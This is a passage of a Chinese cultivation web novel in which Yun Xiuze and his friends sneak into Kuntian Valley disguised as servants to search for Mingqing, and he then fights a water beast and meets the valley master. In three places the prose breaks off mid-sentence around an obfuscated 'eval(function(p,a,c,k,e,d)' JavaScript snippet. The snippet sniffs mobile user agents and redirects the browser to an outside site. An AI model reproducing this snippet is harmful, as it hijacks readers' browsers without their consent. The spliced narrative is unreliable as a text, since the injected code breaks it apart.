“唉!帮帮帮,瞅你这不耐烦的样儿,要不是看在唐姑娘的面子上,我才懒得理你,咱们可说好,若是你们暴露了,可不许攀扯我。” 他的眼睛一转。 “祖父与谷主交情匪浅,我自是第一天就要进谷的,此次我带了一些族中子弟,另有一些丫鬟护卫,子弟名额都是记录在册的,你们三个想要混进去就只能扮作护卫,乖乖叫我一声少爷了!” 他故意贱嗖嗖的取笑,又转向唐思月,一脸歉然的温声说道。 “恐怕要委屈唐姑娘稍加易容,扮做我的贴身女使,待遇上总归是要好些的,自然,我是不会支使姑娘做事的,若是姑娘有什么需要,也可与我说来,我自会竭力为姑娘实现。” 唐思月温声道谢,云修泽就笑的一脸和善,虽然知道这是最好的办法,却还是不爽他的取笑,在唇缝里咬牙切齿的说。 “少爷真是体贴下属啊!” 云修泽不爽柳恒舜就爽了,两人嘴上不停交锋,云修云适时的递上一杯酒,乖巧的笑道。 “少爷喝酒。” 柳恒舜端着架子接过来。 “还是青玉懂事,子竹啊,学着点儿!” 云修泽气的就差咬他了,哪里会乖顺的给他敬酒,两人还是你来我往,骂人都不带个脏字儿,他们骂的欢,云修云时不时就一脸纯良的给柳恒舜倒杯酒,他说的嘴干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950942|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一般就会顺手接过。 唐思月和行愿这边就岁月静好多了,行愿依旧是第一个吃完的,唐思月忙着看乐子倒是没吃几口,行愿就时不时用公筷给她布菜。 柳恒舜长了一副能喝酒的脸,可实际上量却不深,若是喝醉了,第二日往往头痛欲裂,所以平日里吃酒都会自己注意,但今日兄弟重聚,再加上说到了兴头上,顺理成章的就被云修云灌了个仰倒。 此时面颊飘红,眼神涣散,说了两句什么,也都大着舌头叫人听不清楚,他歘的一下站起身来,红木凳被他带倒,砸在地上发出一声巨响,他整个人面色发懵,摇摇头口齿不清的骂。 “你们狼狈为奸!我当与君共饮,竟哄我一人独酌!” 说罢,身形晃了晃,眼见着就要昏倒睡去,却突然瞥见了云修云面上快要隐藏不住的得逞笑意,他当即抖了个机灵,半眯着眼不住盘算,只见他醉红着脸,转头对着唐思月露出了一个一往情深、温柔缱绻的笑容,为了避免口齿不清,还刻意放缓了语速。 “思月姑娘秋水盈目,玉作骨,在万姝之中亦是昆山片玉,我却是个俗人,姑娘日后若是想寻道侣,万望考虑我一二,我自当奉以全部身家,一心一意伴你左右。” 一个俊朗风流的公子望着你,红着脸笑的情深,说你若是愿意选他,他就抛弃所有的莺歌燕舞,和你一生一世一双人,说实话,这一幕还是很动人的。 至少此刻屋内的几人被他说的鸦雀无声,唐思月一脸呆滞,还没等她反应过来,他就一脸笑意像个正常人一样坐在了地上,甚至还冲几人点了点头,但下一秒就闭眼昏了过去。 云修泽一脸的惨不忍睹,云修云目瞪口呆,嘴里你你你了大半天,还是说不出什么来,只能着急的转身去看唐思月。 “思月你别信他的!!!他就是耍酒疯!他可是风月场的老手,这种话不知对多少个姑娘说过!你可千万别信!!!” 云修泽见他急的竟然不惜口不择言的抹黑他哥,实在不知作何表情,事实证明,人在无语至极的时候,是会莫名其妙的笑出来的。 他干脆向唐思月问了房间所在,一把将柳恒舜扛起来,也不管他原来住在哪儿,直接薅着他溜之大吉,将这里留给了他们。 行愿迟疑了一下,去看唐思月,见唐思月微微摇头,便安心留下了,不过还是刻意开始减轻自己的存在感。 云修云全部的头发都梳成了一个马尾,此刻都落到了胸前,手无措的伸着,似乎想要捉她的手,却最终没有逾矩,放回了膝盖上。 他刚刚也喝了两杯酒,琥珀色的眼睛在光影下显得更加清透,也湿漉漉的,耳根全红了,面色焦急,还带了些委屈,眼巴巴的看着你,像个害怕失宠的狼崽。 唐思月轻笑起来,一只手托着面颊,一只手挑起他的一缕发丝摸了摸,宽慰他说道。 “你放心,我哪里会信一个醉酒之人的话呢?不过说来也有趣,我虽然知道自己的容貌招摇,但却还是第一次有人见的第一面就向我求婚的,能答应才是有鬼了。” 云修云任她把玩自己的头发,不知心里究竟是个什么滋味儿,只能低着头不说话。 他和云修泽像也不像,云修泽的眸色是浓黑的,安静的看你时,让你觉得情深,若是带了笑,反倒有些凉薄,而云修云的眼睛大些,是两颗清透的琥珀,无论嬉笑怒骂都显得少年气,生机勃勃的,此时却像是打了蔫的小白菜,情绪低迷的坐在唐思月面前。 唐思月捏着那缕头发在手中转圈儿,忍不住想要逗他。 “嗯......这道侣若是你来求,我也不是没可能答应。” 云修云浑身一震,本来正常的面色瞬间就红透了,整个人热的就差冒烟,期期艾艾的也说不出话来,张着嘴只发出了一些无意义的音节。 这副模样成功将唐思月逗得出声笑起来,一时间正是花枝乱颤。 云修云见她笑成这个样子,明知自己被开了玩笑,却还是拿她没办法,反而还要为她的开怀感到高兴,只能无奈的说。 “你就拿我寻开心吧!” 这顿晚饭吃的甚是热闹,等云修云回到自己的房间时,就发现云修泽正在这里等着他,他有些摸不着头脑。 “你怎么不在你自己房间?” 云修泽托着下巴,无精打采的说。 “我倒是想,你伯言哥睡着了可不老实,一个人睡出了两个人的气势,我哪敢招惹他,还是来找你凑合凑合吧。” 云修云没什么所谓,喝了点儿酒,大着胆子指挥他去铺床,自己则去旁边洗漱。 夜深人静,兄弟二人只穿了中衣在床上抵足而眠,云修泽双手放在脑后,闭着眼睛说道。 “我还当你是有长进,知道不明着对抗伯言,暗戳戳的灌他酒,谁知他一句话就激的你方寸大乱,你啊,喜欢一个人,就该稳扎稳打,若是过于冒进,反而会得不偿失。” 云修云懒散的睁开眼,叹道。 “可是哥,若你心中有了她,又如何能够保持理智,步步为营的算计得失呢,人喜欢的是另一个有着喜怒哀乐的人,一步一算反而伤情,情感若是被当作棋子对弈,只怕会一子错,满盘皆落索【注2】吧。” 云修泽沉默良久,轻声说道。 “夜深了,睡吧。” 16. 孚望十六 “嘶——啊” 柳恒舜揉着脑袋从床榻上醒来,半支着身子撑在那里,坚持了一会儿还是放弃挣扎的趴在了床边。 云修泽推门进来就看见他半死不活的吊在那里,随手拿了个橘子就坐在旁边剥起来,往嘴里塞了一瓣,点点头说道。 “嗯!还不错,挺甜的!” 柳恒舜有气无力的哼哼了两声,说道。 “最好甜死你。” 云修泽不起波澜,回噎道。 “我觉得可能性不大啊,换一个吧,梦生醉死岂不是更快活。” 柳恒舜艰难的撑着床沿爬起来骂他。 “你个没良心的,你弟喜欢人家唐姑娘你敢说你不知道?你明明认出我来了却不阻止我,让我这个不知情的直接就上去了,理亏在先,没办法也只能顺着他灌酒,算是让他出出气,我都这么惨了,你居然还笑我!” 云修泽把橘子皮扔了,拍了拍手。 “诶,说真的,你对思月是怎么想的?我知道你只是喜欢美人儿,并无意惹她们动心伤神,可人心难自控,你被姑父关的这几年,有一部分原因不就是你的一屁股情债吗?” 柳恒舜沉默一会儿,无奈的笑起来,摇了摇头,道。 “我能怎么想?我佩服你啊,美成这样的女子在身侧,你竟还能不动分毫,怎么?你喜欢的那个颜色比唐姑娘还胜几分?” 云修泽微微一顿,低声道。 “各有千秋。” 柳恒舜耸耸肩,也不知信是没信。 “唐姑娘是给了我一种陌生的冲击,不单是容貌,她的性子和婉又聪慧,与她待在一起很让我放松,不过她身上压着重仇,心思比同龄女子要深上许多,青玉怕是难以打动她。” 云修泽微微睁大了眼,还没等他说什么,柳恒舜又接着说起道。 “不过你放心,我也只会做到这个地步了,青玉喜欢的姑娘,我哪里会去碰,但什么都不做也实在不甘心,只能如此了。” 他清了清嗓子,眉毛一扬,又恢复了往日的不着调。 “但若是他们日后不能走在一起,你可得告知我,如此美人,错过岂不可惜。” 云修泽手撑在桌子上,侧头捂着嘴无奈的叹了声气,没再说什么。 柳恒舜下了床,一边穿衣服一边交代道。 “明日申时我会带着弟子提前入谷,你们跟我进去,虽然我会在那里待满四天,但你们要找人最好在明天晚上就找到,不然等贺寿宴正式开始,你们就免不得要随我入殿,能不能装好是一回事,单说谷主就不是好糊弄的,不被发现的可能性很小。” 云修泽摩挲着手指。 “知道了,会尽力的。” 午膳时,几人又聚在一起。 柳恒舜见到唐思月,先行赔了个不是。 “思月姑娘,昨日实在是醉了,说话口无遮拦,多有得罪,还请不要放在心上。” 唐思月轻笑道。 “柳公子无需忧心,我自然不会将玩笑之言当真。” 柳恒舜眼中飞快闪过一丝落寞,马上又若无其事的引她入座。 席间几人倒是没说什么正事,反而以闲聊居多,云修云一开始还对柳恒舜没什么好脸色,但见他时不时的揉按额角,一副缓解头痛的样子,还是忍不住心软,再加上柳恒舜又哄了几句,那点儿别扭的心思没多久也就散了。 几人聊起最近几年发生的事情,这可让云修云找到了大吐苦水的好对象,拉着柳恒舜就开始哭惨,没说双生子的事,但其他能说的全叫他说了一遍,听到纹银二十两,柳恒舜直接就绷不住了,笑的就差没拍桌子。 “哈哈哈哈哈哈哈哈哈!!!!你们兄弟二人竟也有今日!!!舅父舅母这招实在是妙啊哈哈哈哈哈!!!” 兄弟二人皆是一副不堪回首的凄惨模样,唐思月也是第一次听说这个,满脸都写着有意思、我爱听、多说点。 等说到他们给两匹马取的名字后,柳恒舜的表情就变得有些奇怪起来,重复问起。 “追云?” 云修泽点了点头,柳恒舜就一脸像是明白了的表情,神色带了点儿揶揄,转眼对着云修云挤眉弄眼。 “追云——追的是你?” 从小长大的兄弟,了解你的程度堪称恐怖,云修云垮着一张脸,不愿承认,云修泽在一旁笑起来。 “哈哈哈!你是不知道,那匹马通身乌色,唯有四蹄雪白,青玉喜欢,就总是围着它转,手欠的乱摸,当时那马和我们还不熟悉,也是个暴脾气,哪里忍得了这个,摸急眼了直接就追着他跑了一里地要咬他,本想取名踏雪,和踏风凑个一对儿,就因为这个,直接就叫追云了,形象的很!” 在座的几人忍不住想象他被马追的乱跑的模样,都不由得笑起来,唐思月和行愿还内敛些,两个做兄长的就毫不顾忌的捧腹大笑,云修云趴在桌上抱着头哀嚎,直直发誓再也不干这种蠢事。 这顿午膳仍是热闹的紧,看着这闹腾的景象,云修泽却笑声渐停,心中突兀的想起了那晚在竹林和明青互相追逐,那时他们不经意对视时她的笑意让他的思绪不由得有些飘远。 也不知明青怎么样了,若是她在,就算话不多,这席间的热闹程度,恐怕也要再升上一升。 * 此时,昆天谷内。 明青正与一位男子对坐,轻烟笼罩下,男子开口说了句什么,明青并未回应,只轻轻,垂下了双眼。 * 待几人差不多吃好了,柳恒舜开口说起正事。 “昆天谷以紫色为尊,内有一位谷主,十位令堂长老,谷主的衣饰是深紫色,长老要浅一些,内门子弟腰带是深紫,其中,大弟子的长袍也是紫色,外门弟子的腰带则是浅紫,通过服饰颜色便可辨认他们的身份。” 这话其实主要是说给唐思月和行愿听的,他们兄弟三人的家族虽然都是隐世而居,但势力庞大,很多事情他们不参与,但却不会容忍自己不知道。 唐思月的事他在来之前就已经听云修泽说过了,虽说唐家可能也知道,但为了以防万一,他还是要将情况简单说一下。 “这次我一共带了两个贴身女使和十个护卫,衣服我已经交给子竹了,你们只管安心,他们都是我的亲信,什么都不会说,至于那些弟子,平日里接触不多,就算认出来了,我也不会让他们多嘴,唯有思月姑娘容貌过于出众,还是要做好易容才是,可需要我找人帮你吗?” 他问唐思月道。 唐思月微微一笑。 “放心,我学的东西杂,易容虽说不上精通,但还是有所涉猎,混淆视听应该没有什么问题。” 柳恒舜点点头,不再坚持。 “你记得,你的名字叫曲扇,护卫是甲字排行,子竹,你们三个就是甲一到甲三,都记好了,可别露馅。” 几人都纷纷点头应下。 * 昆天谷是当之无愧的仙门之首,地位超然,谷主的寿宴,自然是声势浩大。 柳恒舜属于第一波宾客,他脱下了自己平日颜色鲜艳、款式风流的服饰,和族中子弟换上了款式相近的深蓝色衣装,坐在马车上,到了门前就有守门弟子上前接了名帖,恭敬地请他们入内。 唐思月和另一个贴身女使提着铜制的香炉走在柳恒舜那辆马车的两侧,云修泽三人就和另外七个护卫分为两组,每五人为一组,走在最外侧,一行人就这么安静肃穆的进了昆天谷。 领路的弟子一直将他们带到了一处名为‘观澜苑’的院落才告辞离开,等他走远,马车上柳家的弟子就全都下来了,这群人中有男有女,全都井然有序的围到了柳恒舜身边。 庭院深深,隐于苍翠之间,屋顶上覆盖着青瓦,在落日下泛着柔和的光泽,与远处的山峦交相辉映,院中有水声潺潺,想必‘观澜’二字也是有些说法。 柳恒舜用灵力快速的扫了一遍这里,心中对于院落结构有了大概了解,他用扇子敲了敲手心,不紧不慢的为众人安排好了住处,同时说道。 “宴会在明日戌时正式开始,我们提前一些,酉时前去,尔等务必牢记,不可懈怠,误了时辰。” 柳家的家风并不是十分严肃,但在正事上却十分认真,一群弟子整齐称是之后倒也并未散去,反而有与他亲近的缠着他,要与他一同练剑切磋。 说完正事,柳恒舜又重新从一本正经变回了纨绔子弟的模样,他被众人簇拥着,懒洋洋的回道。 “即如此,都去我那里,你们几个,今日不用伺候了,都先下去吧,若有需要,我自会叫你们。” 他摆摆手,叫侍从们离开。 云修泽四人混在其中并不显得突兀。 为了让他们行动方便,柳恒舜还特地将云修泽三人安排住在一起,他们坐在院中的石桌前,不一会儿,唐思月就找了过来。 她易容过后,便只是个说得上清秀的姑娘,唯有一双眼睛还有着原来的动人,她与三人打了个招呼,等她坐下,云修泽便沉声说道。 “刚刚我们进来时,我悄悄看了一下,昆天谷虽大,但谷中子弟众多,就算有一部分外出,一部分闭关,人手还是十分充足,看样子是会定时巡查谷中情况的,这一点。” 云修泽看向行愿。 “还望行愿大哥探查一番,如果可以,最好能找到许知夏的下落。” 在这里行动,人越少越好,一群人反倒显眼,而他们几人中,行愿最会隐藏自身,有时他刻意躲藏,云修泽不用点手段逼迫他自己现身,单说寻找,也是拿他没有办法,除此之外,他的身手也很不错,自保不成问题,所以他是最好的人选。 行愿点头应下。 “一会儿去,最晚亥时回。” 云修泽又转向唐思月和云修云。 “昆天谷不比寻常地方,这里就算是用来待客的别院,也都设有禁制,无法翻墙外出,唯有一个正门和两个侧门可行,院内行走洒扫的我能避开,只是守门的门童却都是被点化的万音莨鸟,他们晚间会一直守在这里,这种鸟天生六目,想要在他们眼皮子底下溜出去难度很大,最麻烦的还是他们同一族内有特殊的交流方式,我若弄昏了两个,反倒打草惊蛇,所以你们两个的任务就是帮我不动声色的将他们引开。” 云修云应下了,唐思月却轻轻蹙眉。 “你是准备自己去冒险?” 云修泽一顿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950943|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么会,我这不也是需要你们协助吗。” 唐思月盯着他。 “你让我们帮的忙,你自己多费些功夫也能办到,都触碰不到要找人这件事的核心,昆天谷不是等闲之地,你想在这里偷偷找人,必然会有危险,明青不只是你一个人的同伴,为什么要将我们排除在你的计划之外?” 云修泽摇了摇头,语气郑重。 “我知道你们担心,我也并非将你们排除在外,只是你也说了,这里的情况复杂,一个人行动才最是方便,就算没有接应,倒霉被发现了,以我的身份,昆天谷也不会对我怎么样,反而能将你们三个隐藏起来,鸡蛋总不能放在同一个篮子里对吧。” 他停了停,神色平和:“思月,你要信我。” 唐思月定定的看了他一会儿,移开视线。 “嗯,我知道了。” 云修泽微微一笑。 几人商量过后,行愿就悄然离去了,他的功法特殊,自己混出去不算太难,云修泽也趁着这个空档,去找了一趟柳恒舜,将他们的计划和他大致说明,叮嘱他要记得给他们打掩护。 柳恒舜已经被他坑麻了,一边骂他一边将他赶出了门。 云修泽被赶出来也不恼,名正言顺的借着柳恒舜的由头四处观察,将整座院子摸了个遍,心中有了数,只待行愿归来就可离去。 大概亥时末,行愿就回来了。 他在外面观察了一阵子,又敛声匿迹的跟着一个去调取卷宗的内门弟子摸进了领事阁,翻查了一下谷中弟子巡察相关安排,各种琐事叠加,内容多的分成一个个薄册,无奈,他也只能挑重点记下。 他在领事阁内行动正如行走在峭壁钢索,万分小心,就算如此,也还是险些触动那里的阵法。 等他出来后,原本空无一人的门口,却突然有两只万音莨鸟从远处走来,守在了那里,饶是淡定如行愿,手心也忍不住出了一层薄汗,幸亏他已经出来。 这两只莨鸟刚刚应该是被临时叫走了,若是他们一直守在这里,或者在他没有出来时回来,加上这里的阵法,就算有那内门弟子的弟子令,他也绝对会被发现。 之后他又摸了一下附近的地形,虽然看过云修泽画的许知夏的画像,但他却没有办法在这么大的地方寻找他的踪迹。 所幸刚刚看过的册子上有他的名字,按册中所录,这几日他都在谷中,作为谷主门下三弟子,丑时,他会带着一队外门弟子在一处名为悬练的淴泱瀑布不远处进行巡视,按照这个地点和时间去找,总能找到。 行愿将事情事无巨细的说来,他少有说这么多话的时候,说完他就看了眼茶壶,却还是没去动它,唐思月沉默的给他倒了杯茶,他这才接过来,微微掀开面具润了润喉咙。 他说的事让几人沉默了一会儿,唐思月想说什么,却被云修泽一下打断。 “思月,我知道你想说什么,只是我心意已决,是等不到再行商议万全之策了,今夜就是最好的时机,过了今晚,宾客盈门,我们不仅要瞒过谷主,行动起来,受的限制也只会更多,就算我们能等,明青也等不了。” 唐思月沉默,云修泽说的很对,她无法反驳,能做的也只有叮嘱...... “千万要小心,你若受了伤,明青那里你也不好交代,我给你的药,也绝不会好吃到哪里去。” 加威胁了。 云修泽讪讪一笑,不得不说,他的确被威胁到了。 时间已至子时,本该安静的观澜苑内烛火通明,隐隐有声音传来。 唐思月穿着女使的衣裳,步履匆匆的从门内赶到了两只万音莨鸟处,对着两人微微点头,语气焦急。 “两位小郎君,我是柳公子身边的曲扇,公子今日安顿下来后,清点物品,发现老家主让公子带给谷主的信丢失了,现在院中的人都正找呢,两位小郎君目力极盛,能否随我去帮我家公子找上一找?” 万音莨鸟化作的门童都是半人高的小童儿,粉雕玉琢很是可爱,就是一双眼睛灰白无光,谁能想到他们却是以目力见长的呢? 听到她的话,两个小童对视一眼,只有一个表示愿意随她离开,唐思月微微一顿,然后面露感激。 “如此应该是够了,多谢小郎君,请快快随我来吧。” 唐思月带着他离开,悄悄对暗中的云修云使了个眼色,云修云微不可查的点头,等又过了一段时间,他才装作从远处而来,说是还没找到,要烦请留下的这只莨鸟也去帮忙,那小童儿面露难色,暗中和同族联络,发现他们全都被叫走了,这院子如此之大,看来也是真的缺乏人手,在云修云再三焦急的恭请后,还是跟着他离开了这里。 这时,整座院落就罕见的陷入了一种无人看守的情况。 云修泽的步伐既轻且快,心中暗想:思月这一招倒是很保险,将六只万音莨鸟全都调走了,他微微一哂,只不过要辛苦伯言演戏了。 云修泽按照行愿说的,一路有惊无险的避开了巡视的昆天谷弟子,一个翻身就轻巧的落在了一棵高大繁茂的树上,此时,已经能看到远处湍急的白练,水声也隐隐传来,云修泽按在树身上的手指节泛白,呢喃道。 “明青。” 17. 孚望十七 云修泽顺着瀑布一路寻找,水域宽广,将两岸划分,对岸是一眼望而不尽的松林,林中有淡薄的雾气沉浮,若是久久凝视,只会有玄而又玄之感。 云修泽不知道这里有什么特殊,竟让谷主的亲传三弟子亲自带人巡视,同时他也不知道明青有什么特殊,让他亲自将人掳来。 掳到宗门内,那多半就不是私仇。 丑时已到,不过一会儿的功夫,许知夏就果然带着外门弟子出现了,云修泽小心的隐在暗处,既然是他亲自抓来的人,那他之后就不大可能完全放手,所以只要他将人跟住,今晚若是幸运,就有可能见到明青! 云修泽猫在暗处跟了一阵子,眼见着他们巡视完毕,外门子弟散去,许知夏也准备离开,却突然有个男子御剑从林中飞来。 云修泽的眼睛落在那个男子身上,握剑的手又收紧了几分,那男子出现的时候,许知夏就已经停下了动作,在原地等待,等他在许知夏面前站定,许知夏就问道。 “大师兄,这个时辰了,你怎么从林中出来?” 不错,那男子长袍黛紫,腰间所缠缕带颜色更深几分,这副装扮正是他们之前所说的大弟子了,只是这男子长了副娃娃脸,看上去竟比许知夏还要年少些。 娃娃脸的大师兄挠了挠头。 “在林中修炼忘了时辰,出来正好见到你,想起昨日师傅叮嘱有件事让我同你说,我给忘了,嘿嘿。” 许知夏无语道。 “周彦止,你能再不靠谱点儿吗?” 周彦止没什么脾气的笑了笑。 “没关系,来得及,师傅交代,今日来的客人都是和师傅关系最好的,明日...不对,已经过了子时了,该是今日,今日由你负责接待引路。” “怎么是我?二师姐呢?” “她突然闭关了。” 许知夏叹了口气,羡慕师姐的好命。 “好吧,我知道了。” 周彦止说完就准备御剑离去,他人都已经站到剑上了,却像是突然想起什么来一样,回头问道。 “对了,我刚刚好像在林间看到了你前几日带回来的姑娘,她怎么到那儿去了?” 树后的云修泽瞳孔一缩,没想到竟就这么猝不及防地得知了明青的消息。 许知夏把剑横着放到后颈上,不甚在意。 “谁知道,我就是个奉命行事的,哪管得了这个。” 周彦止点点头,没太放在心上,等两人都走了,云修泽又敛息等了一会才从暗处出来。 听他们的意思,明青被抓来和他们没什么关系,而这里能支使谷主亲传弟子的恐怕也只有谷主并十个长老了,他们虽然抓来了明青,但看样子也并没有限制她的自由。 云修泽皱着眉,不明白他们到底为什么要把明青抓来。 他心中存有疑虑,但还是果断地放弃了跟着许知夏的计划,望着对岸明显不普通的森林,一时之间不知是进是退。 但现在没有那么多时间让他犹豫,机会转瞬即逝,云修泽握紧褚闲,决定倾力一试。 刚刚那个大师兄进出是直接御剑飞行,并未使用弟子令,那看来这座森林没有结界一类的东西,剩下的他在这边也看不出什么来,只能走一步看一步。 这里是瀑布之下的深潭,虽说是潭,但却接天连碧,望不到尽头,趁着下一波巡视的弟子还没来,他必须抓紧时间渡水。 云修泽压低身体御剑,稳住重心,只求以最快的速度赶到对岸。 深潭水波不兴,云修泽很顺利的就到了中央水域,但他没有放松警惕,多年来养成的对危险的直觉让他总觉得好像有什么不对劲,果然,下一刻就风云骤变! 平静的水面有巨物陡然破水而出! 四周安静的环境像是一面镜子一般,被巨大的水声粗暴的打破,水流从那巨物细密的利齿中落下,它张着血盆大口,正将云修泽圈在中心! 云修泽为求速度,也怕被人发现,一直保持低空飞行,此时遭遇袭击,幸亏一直保持警惕,不然以他的高度,只怕直接就会被吞吃入腹! 事情都是瞬息间发生的,他也管不了那么多,快速往高处飞去,本以为能够暂时脱离危险,去看看到底是什么在袭击他,却不成想,那巨物见一咬不到,丝毫不带犹豫,直接钻回了水中。 云修泽略有狐疑,心中快速闪过了什么,可他根本来不及细想,水面就有阴影映出,云修泽瞳孔骤缩,背后! 一切仿佛都被放慢,御剑远离已是来不及,他只能尽力侧身以求减少伤害,可天不遂人愿,下一刻,他就直接被拍入了水中! 原来那巨物潜回水中并不是放弃了攻击,而是在水中追着他穿行,扭身蓄力,用尾巴一下将云修泽打了下来! 它的尾巴细长,尾尖生蹼,能够做到出水没有声音却力道足够,趁着云修泽警惕别的水域的时候,它就悄然绕到他身后,用尾巴成功偷袭。 云修泽的后背承受了一下重击,血都没有吐完就落入了水中,狼狈的呛了两口水才重新握紧了褚闲。 靠,这是什么鬼东西?他妈的这么阴险!!! 云修泽还没能睁开眼,就听见了什么东西极速破水的声音,他只来得及用褚闲挡在身前,水流被那巨物带动的急促,冲的他身形不稳,褚闲的剑刃划过鳞片,在水中发出连续的闷闷的锵声。 云修泽眼睛勉强睁开,想要辨认到底是什么东西,可水流带起白色浮沫让他根本无法在水中视物。 那东西似乎并不着急弄死他,戏耍一般的紧贴着他游过,它的身体很长,速度也很快,如果不是在水中,云修泽丝毫不怀疑剑刃和鳞片摩擦的地方会泛起火星。 它的身上裹满了鳞片,可尾巴却是没有的,云修泽被动的防守,准备等它的尾巴游过的时候再发动攻击,可这东西的智商竟然不低,他显然也知道尾巴是自己的弱点,根本不让云修泽有机会碰到它,反而快速扭头向云修泽咬来。 在水中,云修泽根本用不了轻功,十分的被动,他只能勉强在那巨物的身体上借了个力,擦着边躲开了它的攻击。 这样下去根本不行! 云修泽咬牙,突然瞥见了一双澄黄色的眼睛,正可谓机不可失,时不再来,云修泽根本没有细想,手腕翻转,一个用力就刺了过去。 刚刚褚闲擦过它的身体,如果是普通的鳞片,恐怕早就被褚闲削下一片皮肉来,可它却一点伤都没受,眼睛虽然是大部分生物的弱点,可这东西眼周都是细密的鳞片,他根本没有信心能弄伤它。 到了此时,云修泽已经快要呼吸不过来了,每当他想要浮出水面,那东西都能察觉到他的意图,从而迅速的将他拦下。 褚闲的剑尖逼近,却因为激烈水流而偏离了原本的方向,云修泽本以为这次攻击必定是无用功了,可这东西却突然像是受到了惊吓一样,一边后退一边乱动,反而让褚闲从它的眼角划出了一道伤痕,血雾顿时在水中弥漫开来。 “咹————!!!!!” 它在水中也能发声,这点儿伤对于这个庞然大物来说应该不算什么,可它却像是受了重创一样在水中翻腾不止,云修泽抓住机会浮上了水面。 “哈啊——” 竟是险些没被憋死。 云修泽喘了口气,马上就运转灵力准备离开水面回到空中,那样的话,他至少不会像在水中一样毫无反抗之力。 可还没等他成功离水,那东西就像是被激怒了,故技重施向他咬来,速度比刚才快了不知多少倍,这样比下来,刚刚倒像是在悠闲地耍他玩了,而现在,云修泽虽然看到了它的动作,却根本躲不开! 完了,应该听思月的话,至少把行愿大哥带上,有点后悔...... 就在这千钧一发之际,一股强大的灵力裹挟住云修泽将他带回了岸边。 云修泽在空中被灵力束缚的动弹不得,他挣扎着向水面看去,却只看见那东西像是龙脊一样的背鳍划过水面,放弃了追击,不到一个呼吸间,水面就又恢复了平静,让人难以想象刚刚激烈的状况。 云修泽狼狈的被扔在地上,他一手捂着胸口剧烈的咳嗽,眼睛的余光中只能看到一双绛紫平靴。 “哼,小子,你胆子倒是很大啊。” 云修泽用褚闲撑着,勉强站起身来,用灵力弄干了衣服,恭敬的行了个晚辈礼。 “晚辈云修泽,见过秦谷主。” 那男子头戴玉冠,眉间的川字纹很深,通身的衣饰都是深紫,看上去却只有二十八九的样子。 要知道,这里的人修炼法力,本身寿数更长,衰老更加缓慢,修为越是高深,衰老的就会越慢,由此可见他的实力之强。 “你倒是乖觉,只是我却不知,这次寿宴,竟还邀请了身为隐世大族的云家?” 云修泽很快就从刚刚的状态中脱离,笑的就像是他本来就应该出现在这里一样,丝毫不见窘迫。 “晚辈并无什么企图,只是第一次见到昆天谷中美景,散步一时失了神,这才落入水中,晚辈还要多谢谷主的救命之恩才是。” 秦谷主沉默了一会儿,说道。 “你脸皮还挺厚。” 云·厚脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950944|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮·修泽的嘴角颤了颤,表情险些就要绷不住了,心中腹诽。 这老东西怎么回事,哪有一见面就骂人的?什么素质! 云修泽暗中深吸一口气,堪堪将表情稳住了,正准备再次开口,秦谷主就将手掌竖起,示意他不必多说。 “你们家实力雄厚,应该知道我们昆天谷中有谷主和十位长老,可你们不知道的是,我们还有一位司命,可窥天机,通晓万物。” 云修泽表情不变,手却将褚闲紧握,做好了下一瞬转身就跑的准备,秦谷主瞥他一眼。 “你们来干什么,怎么来,准备怎么干,有多少人我都一清二楚,不然也不能将你救下,你就别白费功夫了。” 他顿了顿,皱眉问道。 “不过我很好奇,是谁给你的胆子,让你敢闯昆天谷的?” 说都说到这份上了,云修泽索性也不装了,面无表情的说道。 “既然贵谷的司命什么都知道,那您也应该知道,我不可能一个人行动,自然是还有后手准备。” 秦谷主根本不信,拂袖说道。 “哼,虚张声势,你若还有后手,刚刚又怎么会险些丧命!” 云修泽脸上带着微微笑意,神色笃定的说。 “您不信?不如您随我一同回去看看?恐怕您的大弟子现在已经被我们控制住了。” 秦谷主眼神锐利,一下子向他看来,云修泽淡定的和他对视,不知过了多久,秦谷主才盯着他缓缓说道。 “好啊,不过要是让我发现你骗我,可就休要怪我不讲情面!” 云修泽伸手,笑道。 “谷主,请。” 秦谷主没理他,抽出腰间的剑就要御剑而行,见此,云修泽也准备用褚闲跟上,可谁知那秦谷主一把薅住他,将他抓到了自己的剑上。 云修泽猝不及防被带上去,惊的险些动手,秦谷主看着他眯了眯眼。 “嗯?” 云修泽能屈能伸,当场就安分了。 妈的,这老东西,真不是个东西! 回观澜苑的时间可比云修泽摸到那瀑布附近的时间快多了,还没等云修泽多想些什么,秦谷主就已经带着他落在了他们住的小院子里。 院中的石桌上摆着棋盘,娃娃脸的周彦止正坐在一边拿着黑子苦思冥想,另一边是易容过后的唐思月,她拿着茶杯等周彦止落子,显得十分的游刃有余,而云修云和行愿就坐在一旁认真的围观。 